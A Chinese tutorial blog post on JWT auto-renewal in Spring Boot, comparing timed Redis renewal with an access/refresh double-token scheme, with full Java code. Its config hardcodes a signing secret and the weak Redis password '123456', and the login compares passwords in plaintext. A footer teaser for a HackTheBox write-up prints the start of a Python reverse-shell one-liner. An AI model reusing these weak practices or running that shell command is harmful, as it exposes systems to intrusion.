【SpringBoot】JWT+Token之Token自动续期

目录

  • 回顾一下JWT
    • 基于JWT的认证流程
    • 安全性
    • 性能
    • 一次性
  • Token过期
    • 影响
    • 解决
      • 智障思路
      • 分析
    • token定时检查续期
      • 思路分析
      • 大致代码
      • 问题
    • 双token【重点】
      • 思路分析
        • 补充
        • 微信网页授权方案
      • 实现
        • 1.依赖
        • 2.配置
        • 3.拦截器及配置
        • 4.其他类
        • 5.token映射类
        • 6.jwt工具类
        • 7.controller类
        • 8.测试
  • 总结
    • 双token流程图

回顾一下JWT

基于JWT的认证流程

  • 用户在浏览器中输入用户名和密码,服务器通过密码校验后生成一个token并保存到数据库
  • 前端获取到token,存储到cookie或者local storage中,在后续的请求中都将带有这个token信息进行访问
  • 服务器获取token值,通过查找数据库判断当前token是否有效

安全性

  • JWT的payload使用的是base64编码的,因此在JWT中不能存储敏感数据。
  • 不同于session的信息是存在服务端的,session相对来说更安全。
  • 如果在JWT中存储了敏感信息,可以解码出来非常的不安全

性能

  • 经过编码之后JWT将非常长,cookie的限制大小一般是4k,cookie很可能放不下,所以JWT一般放在local storage里面。
  • 并且用户在系统中的每一次http请求都会把JWT携带在Header里面,HTTP请求的Header可能比Body还要大。
  • 而sessionId只是很短的一个字符串,因此使用JWT的HTTP请求比使用session的开销大得多

一次性

无状态是JWT的特点,但也导致了这个问题,JWT是一次性的。想修改里面的内容,就必须签发一个新的JWT

  • 无法废弃
    • 一旦签发一个JWT,在到期之前就会始终有效,无法中途废弃。
    • 若想废弃,一种常用的处理手段是结合redis。
  • 续签
    • 如果使用JWT做会话管理,传统的cookie续签方案一般都是框架自带的,session有效期30分钟,30分钟内如果有访问,有效期被刷新至30分钟。
    • 一样的道理,要改变JWT的有效时间,就要签发新的JWT。
    • 最简单的一种方式是每次请求刷新JWT,即每个HTTP请求都返回一个新的JWT。
    • 这个方法不仅暴力不优雅,而且每次请求都要做JWT的加密解密,会带来性能问题。
    • 另一种方法是在redis中单独为每个JWT设置过期时间,每次访问时刷新JWT的过期时间

Token过期

  • 想一下,当你正在用电脑录入信息或者抢购东西时,突然弹出登录信息已过期提示…
    在这里插入图片描述

影响

当一个token过期时,可能会带来以下影响:

  1. 无效使用:过期的token无法再被使用,因此持有者无法通过该token进行交易、合约执行或获取相关服务。

  2. 安全性提升:过期的token不再有效,可以防止被盗或滥用。这有助于确保账户和资金的安全。

  3. 用户体验降低:如果用户忘记或不知道token已经过期,他们可能会尝试使用无效的token,导致交易失败或无法访问所需的服务。这可能会降低用户的体验和满意度。

  4. 重新认证:一旦token过期,用户可能需要重新进行身份验证或获取新的有效token,以继续使用相关服务。这可能会增加一些额外的步骤和麻烦。

  5. 数据或权益的丢失:某些情况下,过期的token可能与特定的数据或权益相关联。如果没有及时处理过期token,用户可能会失去对这些数据或权益的访问。这可能会对用户的个人或商业利益产生负面影响。

  6. 违约或合同终止:在某些情况下,过期token可能与某些合同或协议的有效性相关。一旦token过期,可能会导致违约或合同的终止。

总的来说,过期的token可能会导致无效使用、安全性提升、用户体验降低、重新认证、数据或权益的丢失以及违约或合同终止等影响。因此,对于token的持有者和相关服务提供商来说,管理和处理过期token是很重要的。

解决

智障思路

  • token时间长点?避免不了突然失效的情景
  • token永不过期?不安全,家被偷了都没发现

分析

  • 上述两种情况必然都不可行,现在问题明确为:token需要设置过期时间,但是时间总有上限。
  • 因此问题的解决点就是如何自动延长token的时间,那么也有两种思路
    1. token定时检查续期:也就是在快过期时自动续期,比如还剩半小时的时候,检测到时间不足自动续期
    2. 双token。生成两个token:accessToken(验证)和refreshToken(刷新)
      • 验证token过期时间短些,刷新token设置长一点的过期时间;
      • 接口请求调用验证token,验证token过期后,如果有刷新token并且没过期,生成一个验证token返回给前端,后续调用新的验证token即可。

token定时检查续期

思路分析

  1. jwt工具类中生成的token中不带有过期时间,token的过期时间由redis进行管理
  2. 用户通过认证后,生成token,并保存到redis中(两份数据)
    • 数据1:用户ID作为key,token作为值
    • 数据2:token作为key,用户信息作为值
  3. 登出时将对应的key删除即可
  4. 更新用户密码时需要重新生成新的token,并将新的token返回给前端,由前端更新保存在local storage中的token,同时更新存储在redis中的token,这样实现可以避免用户重新登陆,用户体验感不至于太差。当然也可以让用户更新密码后自动跳转到重新登录页面。
  5. 拦截器中主要做两件事,一是对token进行校验,二是判断token是否需要进行续期 token校验:
    • 判断id对应的token是否不存在,不存在则token过期
    • 若token存在则比较token是否一致,保证同一时间只有一个用户操作
    • token自动续期: 为了不频繁操作redis,只有当离过期时间只有30分钟时才更新过期时间

大致代码

	if (RedisUtil.getExpireTime(user.getId()) < 1 * 60 * 30) {
		RedisUtil.set(userTokenDTO.getId(), token);
		log.error("token即将过期,更新token信息, id :{}, 用户ID :{}", user.getId(), token);
	}

问题

  • 该方案确实完成了自动续期,也可以及时增加时间
  • 但是比如设置的是不足半小时自动续期,那我如果是在剩余35分钟的时候,触发了一次请求,下一次操作是四十分钟后了,这个时候已经过期了
  • 而由于上次检测到该token是四十分钟之前,导致没有及时续期,登录信息已过期

双token【重点】

思路分析

  1. 登录成功以后,后端返回 access_token 和 refresh_token,客户端缓存此两种token;
  2. 使用 access_token 请求接口资源,成功则调用成功;如果token超时,客户端携带 refresh_token 调用token刷新接口获取新的 access_token;
  3. 后端接受刷新token的请求后,检查 refresh_token 是否过期。如果过期,拒绝刷新,客户端收到该状态后,跳转到登录页;如果未过期,生成新的 access_token 返回给客户端。
  4. 客户端携带新的 access_token 重新调用上面的资源接口。
  5. 客户端退出登录或修改密码后,注销旧的token,使 access_token 和 refresh_token 失效,同时清空客户端的 access_token 和 refresh_toke。
补充

在实际的生产环境中,为了保证系统的安全性,你可能需要考虑到以下几点:

  1. Token也可以在服务端保存一份,比如存到Redis中,并对前端传来的token与redis中的比较,这样可以实现服务端主动让token失效,比如从redis删除token即可。
  2. 考虑到用户的session状态,当用户退出登录或者修改密码后,需要把保存在服务端的refresh token删除或者置为无效。
  3. 应用 HTTPS 协议以保护你的 token 不被截获。
  4. 使用黑名单机制,当用户的 token 被盗或者用户退出登录后,你可以把这个 token 添加到黑名单中,防止它再次被用于请求。
  5. 考虑到服务的可用性,你可能需要把 token 保存在像Redis这样的内存数据库中,以提升性能。

微信网页授权是通过OAuth2.0机制实现的,也使用了双token方案。

微信网页授权方案
  1. 用户在第三方应用的网页上完成微信授权以后,第三方应用可以获得 code(授权码)。code的超时时间为10分钟,一个code只能成功换取一次access_token即失效。
  2. 第三方应用通过code获取网页授权凭证access_token和刷新凭证 refresh_token。
  3. access_token是调用授权关系接口的调用凭证,由于access_token有效期(2个小时)较短,当access_token超时后,可以使用refresh_token进行刷新。
  4. refresh_token拥有较长的有效期(30天),当refresh_token失效的后,需要用户重新授权。

实现

1.依赖
        <!-- JSON 解析器和生成器 -->
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.83</version>
        </dependency>
        <dependency>
            <groupId>io.jsonwebtoken</groupId>
            <artifactId>jjwt</artifactId>
            <version>0.9.1</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-data-redis</artifactId>
        </dependency>
        ... 其他省略了
2.配置
# JWT ??
jwt:
  secret: Y28Ijg521FgN31ZgpD1hZpOYd8fTMrZwNcMgds+D91I= # ????
  expire: 1800 # token???? S   30??
  refreshExpire: 86400 # token???? S  1?
spring:
  redis:
    host: localhost
    port: 6379
    password: 123456
    database: 14
# 省略其他数据库、mybatis...配置
3.拦截器及配置
package com.kgc.interceptor;

import com.kgc.pojo.User;
import com.kgc.utils.JwtTools;
import lombok.extern.slf4j.Slf4j;
import org.springframework.stereotype.Component;
import org.springframework.util.StringUtils;
import org.springframework.web.servlet.HandlerInterceptor;

import javax.annotation.Resource;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

/**
 * JWTInterceptor是一个拦截器,用于验证请求头中的JWT令牌是否有效。
 * 当有请求进入时,该拦截器会首先从请求头中获取令牌,并尝试验证其有效性。
 * 如果令牌验证成功,则放行请求;否则,拦截请求并返回相应的错误信息。
 * @author: zjl
 * @datetime: 2024/5/31
 * @desc: 复兴Java,我辈义不容辞
 */
@Component
@Slf4j
public class JWTInterceptor implements HandlerInterceptor {
    @Resource
    private JwtTools jwtTools;

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) {
        // 获取token
        String token = request.getHeader("Authorization"); //token
        if (StringUtils.isEmpty(token)) {
            token = request.getParameter("Authorization"); //token
        }
        if (StringUtils.isEmpty(token)) {
            // 只是简单DEMO,这里直接返回false,可以自己进行添加
            log.error("token 不能为空!");
            return false;
        }

        // 判断token是否超时
        if (jwtTools.isTokenExpired(token)) {
            log.error("token 已失效!");
            return false;
        }

        // 判断 token 是否已在黑名单
        if (jwtTools.checkBlacklist(token)) {
            log.error("token 已被加入黑名单!");
            return false;
        }

        // 获取用户信息
        User user = jwtTools.getUserToken(token);
        // 通过用户信息去判断用户状态,等业务

        return true;
    }
}
package com.kgc.config;

/**
 * @author: zjl
 * @datetime: 2024/5/31
 * @desc: 复兴Java,我辈义不容辞
 */

import com.kgc.interceptor.JWTInterceptor;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

import javax.annotation.Resource;

/**
 * InterceptorConfig 是一个配置类,用于添加拦截器。
 * 在这个类中,我们可以配置需要拦截的接口路径以及排除不需要拦截的接口路径。
 * 在这个例子中,我们添加了JWTInterceptor拦截器来对请求进行token验证,
 * 并设置了"/user/test"接口需要进行验证,而"/user/login"接口则被排除在验证之外,即所有用户都放行登录接口。
 */
@Configuration
public class InterceptorConfig implements WebMvcConfigurer {
    @Resource
    private JWTInterceptor jwtInterceptor;
    /**
     * 添加拦截器配置
     */
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(jwtInterceptor)
                .addPathPatterns("/user/*")         // 对/user下其他接口进行token验证
                .excludePathPatterns("/user/login");  // 所有用户都放行登录接口
    }
}
4.其他类

实体类

@Data
@NoArgsConstructor
@ToString
@AllArgsConstructor
public class User {
    private int id;
    private String userCode;
    private String userName;
    private String userPassword;
    private String phone;
}

service

@Service
@Slf4j
public class UserService {
    @Resource
    private UserMapper userMapper;
    public User login(String userCode,String userPassword){
        User user = userMapper.selectUserByUserCode(userCode);
        if(user!=null && userPassword.equals(user.getUserPassword())){
            return user;
        }
        return null;
    }
}

mapper

public interface UserMapper {
    @Select("SELECT * FROM SMBMS_USER WHERE USERCODE=#{userCode}")
    User selectUserByUserCode(String userCode);
}

封装返回结果

@Data
public class Result<T> {
    private Integer code;
    private String msg;
    private T data;
    public Result(ResultTypeEnum resultTypeEnum, T data) {
        this.code = resultTypeEnum.getCode();
        this.msg = resultTypeEnum.getMsg();
        this.data = data;
    }
    public Result(ResultTypeEnum resultTypeEnum) {
        this.code = resultTypeEnum.getCode();
        this.msg = resultTypeEnum.getMsg();
    }
}
@Getter
@AllArgsConstructor
public enum ResultTypeEnum {

    SUCCESS(200, "请求处理成功!"),
    LOGINFAIL(0, "登录失败!"),

    UN_AUTHORIZED(401, "未授权"),
    NOT_FOUND(404, "无法找到资源"),
    NOT_ALLOWED(405, "禁止请求该资源"),
    PARAMS_NOT_NULL(406, "参数缺失,请检查参数!"),
    PARAMS_NOT_VALID(407, "参数校验失败,请检查参数!"),
    VALID_ERROR(407, "参数校验失败,请检查参数!"),
    OPERATION_TYPE_ERROR(408, "操作类型错误"),

    TOKEN_IS_NULL(10001, "token 不能为空"),
    TOKEN_INVALID(10002, "token 已失效"),
    TOKEN_BLACKLIST(10003, "token 已被加入黑名单"),
    USER_STATE_DISABLE(10004, "用户已被禁用,请联系管理员"),
    USER_STATE_DELETE(10005, "用户已被删除,请联系管理员"),
    FAIL(9001, "请求处理失败!");
    private Integer code;
    private String msg;
}

常量类

public class Constants {
    /**
     * 黑名单redis储存前缀
     */
    public static final String TOKEN_BLACKLIST_PREFIX = "blacklist_";
    public static final String MAC = "mac";
    public static final String OS_NAME = "os.name";
}

redis工具类

@Component
public class RedisKeyUtil {
    private static StringRedisTemplate redisTemplate;
    @Autowired
    public void setRedisTemplate(StringRedisTemplate redisTemplate) {
        RedisKeyUtil.redisTemplate = redisTemplate;
    }

    /**
     * 是否存在key
     *
     * @param key
     * @return
     */
    public static Boolean hasKey(String key) {
        return redisTemplate.hasKey(key);
    }
}
@Component
public class RedisStringUtil {
    private static StringRedisTemplate redisTemplate;
    @Autowired
    public void setRedisTemplate(StringRedisTemplate redisTemplate) {
        RedisStringUtil.redisTemplate = redisTemplate;
    }
    /** -------------------string相关操作--------------------- */
    /**
     * 设置指定 key 的值
     *
     * @param key
     * @param value
     */
    public static void set(String key, String value) {
        redisTemplate.opsForValue().set(key, value);
    }

    /**
     * 获取指定 key 的值
     *
     * @param key
     * @return
     */
    public static String get(String key) {
        return redisTemplate.opsForValue().get(key);
    }


    /**
     * 将值 value 关联到 key ,并将 key 的过期时间设为 timeout
     *
     * @param key
     * @param value
     * @param timeout 过期时间
     * @param unit    时间单位, 天:TimeUnit.DAYS 小时:TimeUnit.HOURS 分钟:TimeUnit.MINUTES
     *                秒:TimeUnit.SECONDS 毫秒:TimeUnit.MILLISECONDS
     */
    public static void setEx(String key, String value, long timeout, TimeUnit unit) {
        redisTemplate.opsForValue().set(key, value, timeout, unit);
    }
}
5.token映射类
@Data
public class UserToken {
    private String accessToken;
    private String refreshToken;
}
6.jwt工具类
package com.kgc.utils;

/**
 * @author: zjl
 * @datetime: 2024/5/31
 * @desc: 复兴Java,我辈义不容辞
 */
import com.alibaba.fastjson.JSONObject;
import com.kgc.dto.UserToken;
import com.kgc.pojo.User;
import com.kgc.utils.redis.RedisKeyUtil;
import com.kgc.utils.redis.RedisStringUtil;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Component;

import java.util.Date;
import java.util.concurrent.TimeUnit;
@Component
public class JwtTools {
    @Value("${jwt.secret}")
    private   String secret;
    @Value("${jwt.expire}")
    private  Integer tokenExpire;
    @Value("${jwt.refreshExpire}")
    private  Integer refreshExpire;

    /**
     * 创建 刷新令牌 与 访问令牌 关联关系
     *
     * @param userToken
     * @param refreshTokenExpireDate
     */
    public void tokenAssociation(UserToken userToken, Date refreshTokenExpireDate) {
        Long time = (refreshTokenExpireDate.getTime() - System.currentTimeMillis()) / 1000 + 100;
        RedisStringUtil.setEx(userToken.getRefreshToken(), userToken.getAccessToken(), time, TimeUnit.SECONDS);
    }

    /**
     * 根据 刷新令牌 获取 访问令牌
     *
     * @param refreshToken
     */
    public String getAccessTokenByRefresh(String refreshToken) {
        Object value = RedisStringUtil.get(refreshToken);
        return value == null ? null : String.valueOf(value);
    }


    /**
     * 添加至黑名单
     *
     * @param token
     * @param expireTime
     */
    public void addBlacklist(String token, Date expireTime) {
        Long expireTimeLong = (expireTime.getTime() - System.currentTimeMillis()) / 1000 + 100;
        RedisStringUtil.setEx(getBlacklistPrefix(token), "1", expireTimeLong,TimeUnit.SECONDS);
    }

    /**
     * 校验是否存在黑名单
     *
     * @param token
     * @return true 存在 false不存在
     */
    public Boolean checkBlacklist(String token) {
        return RedisKeyUtil.hasKey(getBlacklistPrefix(token));
    }

    /**
     * 获取黑名单前缀
     * @param token
     * @return
     */
    public String getBlacklistPrefix(String token) {
        return Constants.TOKEN_BLACKLIST_PREFIX + token;
    }


    /**
     * 获取 token 信息
     * @return
     */
    public UserToken createToekns(User user) {
        Date nowDate = new Date();
        Date accessTokenExpireDate = new Date(nowDate.getTime() + tokenExpire * 1000);
        Date refreshTokenExpireDate = new Date(nowDate.getTime() + refreshExpire * 1000);

        UserToken userToken = new UserToken();
        userToken.setAccessToken(createToken(user, nowDate, accessTokenExpireDate));
        userToken.setRefreshToken(createToken(user, nowDate, refreshTokenExpireDate));

        // 创建 刷新令牌 与 访问令牌 关联关系
        tokenAssociation(userToken, refreshTokenExpireDate);
        return userToken;
    }

    /**
     * 生成token
     * @return
     */
    public String createToken(User user, Date nowDate, Date expireDate) {
        return Jwts.builder()
                .setHeaderParam("typ", "JWT")
                .setSubject(JSONObject.toJSONString(user))
                .setIssuedAt(nowDate)
                .setExpiration(expireDate)
                .signWith(SignatureAlgorithm.HS512, secret)
                .compact();
    }

    /**
     * 获取 token 中注册信息
     *
     * @param token
     * @return
     */
    public Claims getTokenClaim(String token) {
        try {
            return Jwts.parser().setSigningKey(secret).parseClaimsJws(token).getBody();
        } catch (Exception e) {
            return null;
        }
    }

    /**
     * 验证 token 是否过期失效
     *
     * @param token
     * @return true 过期 false 未过期
     */
    public Boolean isTokenExpired(String token) {
        try {
            return getExpirationDate(token).before(new Date());
        }catch (Exception e){
            return true;
        }
    }

    /**
     * 获取 token 失效时间
     *
     * @param token
     * @return
     */
    public Date getExpirationDate(String token) {
        return getTokenClaim(token).getExpiration();
    }


    /**
     * 获取 token 发布时间
     *
     * @param token
     * @return
     */
    public Date getIssuedAtDate(String token) {
        return getTokenClaim(token).getIssuedAt();
    }


    /**
     * 获取用户信息
     *
     * @param token
     * @return
     */
    public User getUserToken(String token) {
        String subject = getTokenClaim(token).getSubject();
        User user = JSONObject.parseObject(subject, User.class);
        return user;
    }

    /**
     * 获取用户名
     * @param token
     * @return
     */
    public String getUserName(String token) {
        User user = getUserToken(token);
        return user.getUserName();
    }

    /**
     * 获取用户Id
     *
     * @param token
     * @return
     */
    public int getUserId(String token) {
        User user = getUserToken(token);
        return user.getId();
    }
}
7.controller类
package com.kgc.controller;

import com.kgc.dto.UserToken;
import com.kgc.pojo.User;
import com.kgc.service.UserService;
import com.kgc.utils.JwtTools;
import com.kgc.vo.Result;
import com.kgc.vo.ResultTypeEnum;
import lombok.extern.slf4j.Slf4j;
import org.springframework.util.StringUtils;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.annotation.Resource;

/**
 * @author: zjl
 * @datetime: 2024/5/31
 * @desc: 复兴Java,我辈义不容辞
 */
@RestController
@Slf4j
@RequestMapping("/user")
public class UserController {
    @Resource
    private UserService userService;
    @Resource
    private JwtTools jwtTools;
    /**
     * 登录
     * @return
     */
    @RequestMapping("/login")
    public Result<UserToken> login(String userCode,String userPassword) {
        User user = userService.login(userCode, userPassword);
        if(user==null){
            return new Result<>(ResultTypeEnum.LOGINFAIL);
        }
        // 生成Token
        UserToken userToken = jwtTools.createToekns(user);
        return new Result<>(ResultTypeEnum.SUCCESS, userToken);
    }
    @RequestMapping("/test")
    public String test() {
        return "test";
    }

    /**
     * 刷新令牌
     * @param refreshToken
     * @return
     */
    @RequestMapping("/refreshToken/{refreshToken}")
    public Result<UserToken> refreshToken(@PathVariable("refreshToken") String refreshToken) {
        // 判断token是否超时
        if (jwtTools.isTokenExpired(refreshToken)) {
            return new Result<>(ResultTypeEnum.TOKEN_INVALID);
        }
        // 刷新令牌 放入黑名单
        jwtTools.addBlacklist(refreshToken, jwtTools.getExpirationDate(refreshToken));
        // 访问令牌 放入黑名单
        String odlAccessToken = jwtTools.getAccessTokenByRefresh(refreshToken);
        if (!StringUtils.isEmpty(odlAccessToken)) {
            jwtTools.addBlacklist(odlAccessToken, jwtTools.getExpirationDate(odlAccessToken));
        }
        // 生成新的 访问令牌 和 刷新令牌
        User user = jwtTools.getUserToken(refreshToken);
        // 生成Token
        UserToken userToken = jwtTools.createToekns(user);
        return new Result<>(ResultTypeEnum.TOKEN_INVALID, userToken);
    }


    /**
     * 登出
     * @return
     */
    @PostMapping("/logOut/{token}")
    public Result logOut(@PathVariable("token") String token) {
        // 放入黑名单
        jwtTools.addBlacklist(token, jwtTools.getExpirationDate(token));
        return new Result<>(ResultTypeEnum.SUCCESS);
    }

    /**
     * 注销
     * @return
     */
    @PostMapping("/logOff/{token}")
    public Result logOff(@PathVariable("token") String token) {
        // 修改用户状态
        // 放入黑名单
        jwtTools.addBlacklist(token, jwtTools.getExpirationDate(token));
        return new Result<>(ResultTypeEnum.SUCCESS);
    }

}
8.测试
  • 登录(认证通过不通过的)
  • 访问test接口(带不带token的,带正确不正确token的)
  • 刷新接口,要带正确token

总结

token自动续期方式优点缺点
token定时检查续期方便实现,只需后端更改即可存在未及时续期情况
双token验证效率更高,适用的特殊情况更多需要前后端协调更改

双token流程图

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/666675.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

HackTheBox-Machines--Bashed

Bashed 测试过程 1 信息收集 NMAP 80 端口 目录扫描 http://10.129.155.171/dev/phpbash.min.php http://10.129.155.171/dev/phpbash.php 半交互式 shell 转向 交互式shell python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.co…

模型 FABE(特性 优势 好处 证据)法则

说明&#xff1a;系列文章 分享 模型&#xff0c;了解更多&#x1f449; 模型_思维模型目录。特性、优势、好处、证据&#xff0c;一气呵成。 1 FABE法则的应用 1.1 FABE法则营销商用跑步机 一家高端健身器材公司的销售代表正在向一家新开的健身房推销他们的商用跑步机。以下…

腾讯元宝眼中的我,竟是一个变现20w的AI博主!

文章首发于公众号&#xff1a;X小鹿AI副业 大家好&#xff0c;我是程序员X小鹿&#xff0c;前互联网大厂程序员&#xff0c;自由职业2年&#xff0c;也一名 AIGC 爱好者&#xff0c;持续分享更多前沿的「AI 工具」和「AI副业玩法」&#xff0c;欢迎一起交流~ 昨天&#xff08;5…

工厂模式详情

一.介绍工厂模式的用途与特点 工厂方法模式是一种创建型设计模式&#xff0c; 其在父类中提供一个创建对象的方法&#xff0c; 允许子类决定实例化对象的类型。定义工厂方法模式(Fatory Method Pattern)是指定义一个创建对象的接口&#xff0c;但让实现这个接口的类来决定实例…

FasterRCNN入门案例水稻图像目标检测新手友好入门案例

目录 依赖环境 代码概述 引用库 读取数据指定目录 数据集划分 数据集加载Dataset类 特征增强处理 预训练模型定义 评估指标定义 实例化训练集和测试集 设置硬件调取一个batch 可视化 ​编辑 激活选定硬件&#xff0c;初始化损失函数参数 模型训练 模型测试和验…

61. UE5 RPG 实现敌人近战攻击技能和转向攻击

在前面&#xff0c;我们实现了敌人的AI系统&#xff0c;敌人可以根据自身的职业进行匹配对应的攻击方式。比如近战战士会靠近目标后进行攻击然后躲避目标的攻击接着进行攻击。我们实现了敌人的AI行为&#xff0c;但是现在还没有实现需要释放的技能&#xff0c;接下来&#xff0…

让ChatGPT成为自己的旅游顾问

不积跬步&#xff0c;无以至千里&#xff1b;不积小流&#xff0c;无以成江海。 大家好&#xff0c;我是闲鹤&#xff0c;公众号 xxh_zone&#xff0c;十多年开发、架构经验&#xff0c;先后在华为、迅雷服役过&#xff0c;也在高校从事教学3年&#xff1b;目前已创业了7年多&a…

桃金娘T2T基因组-文献精读17

Gap-free genome assembly and comparative analysis reveal the evolution and anthocyanin accumulation mechanism of Rhodomyrtus tomentosa 无缺口基因组组装及比较分析揭示了桃金娘的进化和花青素积累机制 摘要 桃金娘&#xff08;Rhodomyrtus tomentosa&#xff09;是…

安装Kubernetes v3 ----以docker的方式部署

以docker的方式部署 docker run -d \ --restartunless-stopped \ --namekuboard \ -p 80:80/tcp \ -p 10081:10081/tcp \ -e KUBOARD_ENDPOINT"http://192.168.136.55:80" \ -e KUBOARD_AGENT_SERVER_TCP_PORT"10081" \ -v /root/kuboard-data:/data \ e…

Flutter中如何让Android的手势导航栏完全透明?

Flutter 开发中 安卓机器都有 像ios 的手势操作栏&#xff0c; 也就是屏幕底下的 那条线。 但这条线默认是有颜色的 &#xff08;像下面这样&#xff09; 一、全屏幕方式 void main() {// 全屏沉浸式SystemChrome.setEnabledSystemUIMode(SystemUiMode.manual, overlays: []…

iOS ------ 多线程 GCD

一&#xff0c;GCD简介 GCD是Apple开发的一个多线程的较新的解决方案。它主要用于优化应用程序以支持多核处理器以及其他对称处理系统。它是一个在线程池模式的基础上执行的并发任务。 为什么要使用GCD&#xff1f; GCD&#xff01;可用于多核的并行运算GCD会自动利用更多的…

【学习Day3】计算机基础

✍&#x1f3fb;记录学习过程中的输出&#xff0c;坚持每天学习一点点~ ❤️希望能给大家提供帮助~欢迎点赞&#x1f44d;&#x1f3fb;收藏⭐评论✍&#x1f3fb;指点&#x1f64f; 1.5.4 Cache替换算法 Cache的页面淘汰算法 常用替换算法有&#xff1a; • 随机替换算法RA…

方差分析的七种类型

方差分析&#xff08;ANOVA&#xff09;是一种用于检验两个以上样本均数差别的显著性统计方法。根据不同的研究设计和数据类型&#xff0c;方差分析可以分为以下7种类型。 一、单因素方差分析 ①单因素方差分析说明 单因素方差分析用于研究一个定类数据&#xff08;自变量&am…

开发一个SDK(starter)

1.创建项目 将pom.xml中build删除掉

用容器构建wordpress项目

用容器构建wordpress项目 #准备两个镜像 #数据库和centos docker pull mysql:5.7 docker pull centos:7 #创建一个wordpress文件夹&#xff0c;在wordpress文件里面写一个Dockerfile文件 vim DockerfileFROM centos:7 #基于centos环境RUN yum -y install epel-release ;\ #安装…

http协议及httpd安装组成

文章目录 一、http协议http协议通信过程http相关技术网站访问量HTTP工作机制HTTP协议版本HTTP请求访问的完整过程HTTP报文头部响应报文 二、httpd安装组成apache介绍和特点工作模式&#xff08; MPM multi-processing module &#xff09;Http相关文件Http编译安装httpd常见配置…

文件系统小册(FusePosixK8s csi)【1 Fuse】

文件系统小册&#xff08;Fuse&Posix&K8s csi&#xff09;【1 Fuse&#xff1a;用户空间的文件系统】 Fuse(filesystem in userspace),是一个用户空间的文件系统。通过fuse内核模块的支持&#xff0c;开发者只需要根据fuse提供的接口实现具体的文件操作就可以实现一个文…

Unity中的MVC框架

基本概念 MVC全名是Model View Controller 是模型(model)-视图(view)-控制器(controller)的缩写 是一种软件设计规范&#xff0c;用一种业务逻辑、数据、界面显示 分离的方法组织代码 将业务逻辑聚集到一个部件里面&#xff0c;在改进和个性化定制界面及用户交互的同时&#x…

tinycudann安装

在安装完torch等 直接运行下面的指令会出现错误 pip install githttps://github.com/NVlabs/tiny-cuda-nn/#subdirectorybindings/torch大部分错误是下面的 大概看了一下都是因为虚拟环境里面的include文件下缺少文件&#xff0c;将之前的一些.h文件全部复制过来在执行上面的…

TransmittableThreadLocal原理

1、原理 TransmittableThreadLocal&#xff08;简称TTL&#xff09;是阿里巴巴开源的一个Java库&#xff0c;用于解决线程池中线程本地变量传递的问题。其底层原理主要是基于Java的ThreadLocal机制并对其进行扩展&#xff0c;以支持在父子线程间以及线程池中任务切换时&#x…